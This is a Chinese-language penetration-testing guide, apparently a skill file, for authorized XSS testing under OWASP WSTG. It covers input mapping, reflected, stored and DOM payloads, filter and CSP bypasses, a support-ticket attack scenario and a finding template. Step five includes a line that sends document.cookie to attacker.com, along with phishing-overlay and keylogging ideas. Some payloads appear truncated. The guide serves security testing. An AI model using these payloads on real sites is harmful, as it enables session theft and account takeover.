killvxk 测试 XSS 漏洞
使用场景
- 作为 OWASP WSTG 测试的一部分，测试 Web 应用程序的客户端注入漏洞
- 评估所有应用功能中输入净化和输出编码的有效性
- 评估内容安全策略（CSP）标头针对 XSS 利用提供的保护
- 通过会话劫持、凭据窃取或网络钓鱼覆盖向相关方演示 XSS 的影响
- 测试单页应用程序（React、Angular、Vue）中客户端路由和渲染的 DOM 型 XSS
不适用场景：未获书面授权擅自测试应用程序、部署影响真实用户的持久化 XSS 载荷，或从生产环境中外泄真实用户会话令牌。
前置条件
- 授权范围，定义目标 Web 应用程序和可接受的测试活动
- 安装了 XSS 专用扩展（XSS Validator、Reflector、Active Scan++）的 Burp Suite Professional
- 带开发者工具和 XSS 测试扩展（HackBar、XSS Hunter）的浏览器
- XSS Hunter 或 Burp Collaborator，用于带外载荷验证
- SecLists XSS 载荷列表和 WAF 绕过场景的自定义载荷
工作流程
步骤一：输入和输出映射
映射用户输入进入和被应用程序渲染的每个位置：
- 反射输入：测试每个 URL 参数、搜索字段、错误消息以及响应中被反射的 HTTP 标头值
- 存储输入：识别输入被保存后显示给其他用户的功能：用户个人资料、评论、论坛帖子、文件名、支持工单和聊天消息
- DOM 输入：识别从
location.hash、location.search、document.referrer、window.name、postMessage或localStorage读取并写入 DOM 的客户端 JavaScript - 输出上下文识别：对每个反射输入，确定渲染上下文：
- HTML 正文：
<div>USER_INPUT</div> - HTML 属性：
<input value="USER_INPUT"> - JavaScript 字符串：
var x = 'USER_INPUT'; - URL 上下文：
<a href="USER_INPUT"> - CSS 上下文：
<div style="color: USER_INPUT">
- HTML 正文：
步骤二：反射型 XSS 测试
使用适合上下文的载荷测试反射注入点：
- HTML 正文上下文：
<script>alert(document.domain)</script>、<img src=x>、<svg> - HTML 属性上下文：
" autofocus="、" "、"><script>alert(1)</script> - JavaScript 字符串上下文：
';alert(1)//、';alert(1)//、</script><script>alert(1)</script> - URL/href 上下文：
javascript:alert(1)、data:text/html,<script>alert(1)</script> - HTML 注释内：
--><script>alert(1)</script><!-- - 过滤绕过载荷（当基本载荷被阻止时）：
- 大小写变换：
<ScRiPt>alert(1)</sCrIpT> - 事件处理器：
<details open> - SVG：
<svg><animate attributeName=x> - 编码：
<img src=x>
- 大小写变换：
步骤三：存储型 XSS 测试
测试向其他用户渲染输入的持久化存储点：
- 向步骤一中识别的每个存储输入字段提交 XSS 载荷
- 在每个载荷中使用唯一标识符跟踪哪些输入触发：
<script>alert('XSS-PROFILE-001')</script> - 检查存储输入被渲染的所有位置（相同输入可能出现在多个页面上）
- 使用包含 JavaScript 的 HTML 文件、带嵌入脚本的 SVG 文件和包含 XSS 载荷的文件名测试文件上传功能
- 通过原始 HTML 模式注入载荷，或在客户端编辑器净化后操控 POST 数据来测试富文本编辑器
- 使用 XSS Hunter 载荷（
"><script src=https://yourxsshunter.xss.ht></script>）进行盲存储型 XSS 测试，适用于载荷在您无法直接访问的管理面板或内部工具中触发的情况
步骤四：DOM 型 XSS 测试
分析客户端 JavaScript 中不安全的 DOM 操控：
- 源点识别：在 JavaScript 中搜索读取攻击者控制输入的危险源点：
document.location、document.URL、document.referrerlocation.hash、location.search、location.hrefwindow.name、postMessage事件数据
- 汇点识别：搜索写入 DOM 的危险汇点：
innerHTML、outerHTML、document.write()、document.writeln()eval()、setTimeout()、setInterval()、Function()- 带事件处理器的
element.setAttribute()、jQuery.html()、.append()、v-html（Vue）、dangerouslySetInnerHTML（React）
- 追踪数据流：跟踪从源点到汇点的路径。若用户控制的输入未经正确净化就到达危险汇点，则存在 DOM 型 XSS
- 框架特定测试：测试 React
dangerouslySetInnerHTML、Angular 模板注入（{{constructor.constructor('alert(1)')()}}）、Vuev-html指令
步骤五：CSP 绕过与高级利用
测试内容安全策略的有效性并演示真实世界影响：
- CSP 分析：审查 CSP 标头的弱点：
- script-src 中的
unsafe-inline允许内联脚本 unsafe-eval允许 eval() 和类似函数- 通配符域（
*.googleapis.com）可能托管可用于 CSP 绕过的 JSONP 端点 - 未设置
base-uri允许<base>标签注入，重定向相对脚本加载
- script-src 中的
- JSONP 绕过：若 CSP 允许带 JSONP 端点的域，使用
<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script> - 影响演示：
- 会话劫持：
<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script> - 凭据网络钓鱼：注入虚假登录表单覆盖层，将表单提交到攻击者服务器
- 键盘记录：注入捕获页面上键击的 JavaScript
- 账户接管：使用 XSS 更改受害者的邮箱地址并触发密码重置
- 会话劫持：
核心概念
| 术语 | 定义 |
|---|---|
| 反射型 XSS | 非持久化 XSS，注入的载荷被包含在对同一请求的服务器响应中，需要受害者点击精心构造的 URL |
| 存储型 XSS | 持久化 XSS，载荷被保存在服务器上，并服务给查看受影响页面的其他用户 |
| DOM 型 XSS | 完全在浏览器中发生的 XSS，当客户端 JavaScript 读取攻击者控制的数据并将其写入危险 DOM 汇点时触发 |
| 内容安全策略（CSP） | HTTP 响应标头，限制浏览器可以从哪些来源加载脚本、样式和其他资源，提供针对 XSS 的纵深防御 |
| 输出编码 | 将特殊字符转换为其 HTML 实体等效形式（如 < 转为 <），防止浏览器将用户输入解释为代码 |
| 汇点（Sink） | 若攻击者控制的数据未经净化就到达，可能导致代码执行或 HTML 渲染的 JavaScript 函数或 DOM 属性 |
工具与系统
- Burp Suite Professional：带反射型和存储型 XSS 主动扫描的 HTTP 代理，加上用于手动载荷测试的 Repeater 和 Intruder
- XSS Hunter：托管服务，生成在触发时回传截图、Cookie 和 DOM 内容的载荷，对盲存储型 XSS 至关重要
- DOMPurify：开发人员用于防止 XSS 的客户端净化库；测试人员应测试已部署版本的绕过技术
- 浏览器开发者工具：控制台、网络和元素标签，用于追踪 DOM 型 XSS 数据流并实时测试载荷
常见场景
场景：客户支持工单系统中的存储型 XSS
背景：一个电子商务平台有客户支持系统，客户提交的工单由支持代理在内部管理面板中查看。工单提交表单接受 HTML 格式。
方法：
- 在工单描述中提交带唯一 XSS Hunter 载荷的支持工单
- 支持代理在管理面板查看工单时载荷触发，将代理的会话 Cookie、页面 DOM 和截图发送到 XSS Hunter 服务器
- 使用捕获的管理员会话 Cookie 以支持代理身份访问管理面板
- 从管理面板访问客户记录、订单数据和退款功能
- 记录攻击链：客户提交工单 -> 代理查看工单 -> XSS 触发 -> 会话被窃取 -> 管理面板被入侵
- 测试 CSP 是否能阻止该攻击（本例中不存在 CSP 标头）
常见陷阱：
- 仅测试
<script>alert(1)</script>而遗漏通过事件处理器或非 HTML 上下文触发的 XSS - 未测试渲染给管理用户的功能中的存储型 XSS（支持工单、管理员查看的用户个人资料）
- 忽略单页应用程序中的 DOM 型 XSS，其中服务端代码安全但客户端渲染存在漏洞
- 未检查可能被记录并在管理员仪表板中渲染的 HTTP 标头（Referer、User-Agent）中的 XSS
输出格式
## 发现：支持工单描述中的存储型 XSS
**ID**: XSS-002
**严重性**: 高危（CVSS 8.1）
**受影响 URL**: POST /api/tickets（提交），GET /admin/tickets/8847（触发）
**参数**: description（POST 请求体）
**XSS 类型**: 存储型（持久化）
**描述**:
支持工单描述字段在存储到数据库之前未对 HTML 输入进行净化。
当支持代理在管理面板查看工单时，未净化的 HTML 在代理浏览器中渲染，
允许在管理应用上下文中执行任意 JavaScript。
**概念验证**:
提交包含以下载荷的工单：
<img src=x
当代理查看工单时载荷触发，将管理员会话 Cookie 外泄到 XSS Hunter 服务器。
**影响**:
攻击者可窃取支持代理和管理员的会话令牌，获取管理面板的访问权限，
该面板具有查看客户 PII、处理退款和修改订单的权限。
影响所有 23 名查看客户工单的支持代理。
**修复建议**:
1. 使用上下文感知库实施输出编码（OWASP Java Encoder，
客户端渲染使用 DOMPurify）
2. 部署内容安全策略标头：
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. 在会话 Cookie 上设置 HttpOnly 标志，防止 JavaScript 访问
4. 使用白名单方式在服务端净化 HTML 输入（仅允许安全标签）